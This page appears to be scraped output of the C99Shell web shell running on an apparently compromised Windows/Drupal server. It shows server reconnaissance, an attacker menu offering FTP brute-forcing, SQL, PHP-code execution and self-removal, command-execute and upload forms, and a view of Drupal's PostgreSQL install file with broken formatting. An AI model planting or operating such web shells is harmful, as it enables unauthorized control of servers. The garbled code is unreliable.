!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\drupal\includes\   drwxrwxrwx
Free 4.1 GB of 39.52 GB (10.37%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     install.pgsql.inc (5.57 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: install.pgsql.inc,v 1.6 2007/10/22 15:22:39 dries Exp $

// PostgreSQL specific install functions

/**
 * Check if PostgreSQL is available.
 *
 * @return
 *  TRUE/FALSE
 */
function pgsql_is_available() {
  return 
function_exists('pg_connect');
}

/**
 * Check if we can connect to PostgreSQL.
 *
 * @return
 *  TRUE/FALSE
 */
function drupal_test_pgsql($url, &$success) {
  if (!
pgsql_is_available()) {
    
drupal_set_message(st('PHP PostgreSQL support not enabled.'), 'error');
    return 
FALSE;
  }

  
$url parse_url($url);
  
$conn_string '';

  
// Decode url-encoded information in the db connection string
  
if (isset($url['user'])) {
    
$conn_string .= ' user='urldecode($url['user']);
  }
  if (isset(
$url['pass'])) {
    
$conn_string .= ' password='urldecode($url['pass']);
  }
  if (isset(
$url['host'])) {
    
$conn_string .= ' host='urldecode($url['host']);
  }
  if (isset(
$url['path'])) {
    
$conn_string .= ' dbname='substr(urldecode($url['path']), 1);
  }
  if (isset(
$url['port'])) {
    
$conn_string .= ' port='urldecode($url['port']);
  }

  
// Test connecting to the database.
  
$connection = @pg_connect($conn_string);
  if (!
$connection) {
    
drupal_set_message(st('Failed to connect to your PostgreSQL database server. PostgreSQL reports the following message: %error.<ul><li>Are you sure you have the correct username and password?</li><li>Are you sure that you have typed the correct database hostname?</li><li>Are you sure that the database server is running?</li><li>Are you sure you typed the correct database name?</li></ul>For more help, see the <a href="http://drupal.org/node/258">Installation and upgrading handbook</a>. If you are unsure what these terms mean you should probably contact your hosting provider.', array('%error' => 'Connection failed. See log file for failure reason')), 'error');
    return 
FALSE;
  }

  
$success = array('CONNECT');

  
// Test CREATE.
  
$query 'CREATE TABLE drupal_install_test (id integer NOT NULL)';
  
$result pg_query($connection$query);
  if (
$error pg_result_error($result)) {
    
drupal_set_message(st('Failed to create a test table on your PostgreSQL database server with the command %query. PostgreSQL reports the following message: %error.<ul><li>Are you sure the configured username has the necessary PostgreSQL permissions to create tables in the database?</li></ul>For more help, see the <a href="http://drupal.org/node/258">Installation and upgrading handbook</a>. If you are unsure what these terms mean you should probably contact your hosting provider.', array('%query' => $query'%error' => $error)), 'error');
    return 
FALSE;
  }
  
$err FALSE;
  
$success[] = 'SELECT';
  
$success[] = 'CREATE';

  
// Test INSERT.
  
$query 'INSERT INTO drupal_install_test (id) VALUES (1)';
  
$result pg_query($connection$query);
  if (
$error pg_result_error($result)) {
    
drupal_set_message(st('Failed to insert a value into a test table on your PostgreSQL database server. We tried inserting a value with the command %query and PostgreSQL reported the following error: %error.', array('%query' => $query'%error' => $error)), 'error');
    
$err TRUE;
  }
  else {
    
$success[] = 'INSERT';
  }

  
// Test UPDATE.
  
$query 'UPDATE drupal_install_test SET id = 2';
  
$result pg_query($connection$query);
  if (
$error pg_result_error($result)) {
    
drupal_set_message(st('Failed to update a value in a test table on your PostgreSQL database server. We tried updating a value with the command %query and PostgreSQL reported the following error: %error.', array('%query' => $query'%error' => $error)), 'error');
    
$err TRUE;
  }
  else {
    
$success[] = 'UPDATE';
  }

  
// Test LOCK.
  
$query 'BEGIN; LOCK drupal_install_test IN SHARE ROW EXCLUSIVE MODE';
  
$result pg_query($connection$query);
  if (
$error pg_result_error($result)) {
    
drupal_set_message(st('Failed to lock a test table on your PostgreSQL database server. We tried locking a table with the command %query and PostgreSQL reported the following error: %error.', array('%query' => $query'%error' => $error)), 'error');
    
$err TRUE;
  }
  else {
    
$success[] = 'LOCK';
  }

  
// Test UNLOCK, which is done automatically upon transaction end in PostgreSQL
  
$query 'COMMIT';
  
$result pg_query($connection$query);
  if (
$error pg_result_error()) {
    
drupal_set_message(st('Failed to unlock a test table on your PostgreSQL database server. We tried unlocking a table with the command %query and PostgreSQL reported the following error: %error.', array('%query' => $query'%error' => $error)), 'error');
    
$err TRUE;
  }
  else {
    
$success[] = 'UNLOCK';
  }

  
// Test DELETE.
  
$query 'DELETE FROM drupal_install_test';
  
$result pg_query($connection$query);
  if (
$error pg_result_error()) {
    
drupal_set_message(st('Failed to delete a value from a test table on your PostgreSQL database server. We tried deleting a value with the command %query and PostgreSQL reported the following error: %error.', array('%query' => $query'%error' => $error)), 'error');
    
$err TRUE;
  }
  else {
    
$success[] = 'DELETE';
  }

  
// Test DROP.
  
$query 'DROP TABLE drupal_install_test';
  
$result pg_query($connection$query);
  if (
$error pg_result_error()) {
    
drupal_set_message(st('Failed to drop a test table from your PostgreSQL database server. We tried dropping a table with the command %query and PostgreSQL reported the following error %error.', array('%query' => $query'%error' => $error)), 'error');
    
$err TRUE;
  }
  else {
    
$success[] = 'DROP';
  }

  if (
$err) {
    return 
FALSE;
  }

  
pg_close($connection);
  return 
TRUE;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--